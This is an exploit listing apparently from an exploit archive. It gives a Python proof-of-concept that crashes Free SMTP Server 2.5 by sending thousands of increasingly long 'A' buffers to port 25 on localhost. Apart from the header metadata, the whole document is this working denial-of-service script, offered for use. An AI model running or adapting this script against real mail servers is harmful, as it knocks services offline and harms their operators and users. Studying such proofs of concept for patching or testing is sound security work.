#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC) # Date: February 3, 2009 # Exploit Author: Metin Kandemir (kandemir) # Vendor Homepage: http://www.softstack.com/freesmtp.html # Software Link: https://free-smtp-server.en.uptodown.com/windows/download # Version: 2.5 # Tested on: Windows 7 Service Pack 1 x64 # Software Description : Free SMTP server program to send emails directly from PC. # ================================================================== # The SMTP Server will crash when this code is run on localhost. import socket a=1 buffer = ["A"] while a <= 20000: a = a+1 buffer.append("A"*a) for string in buffer: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('127.0.0.1',25)) s.send(string)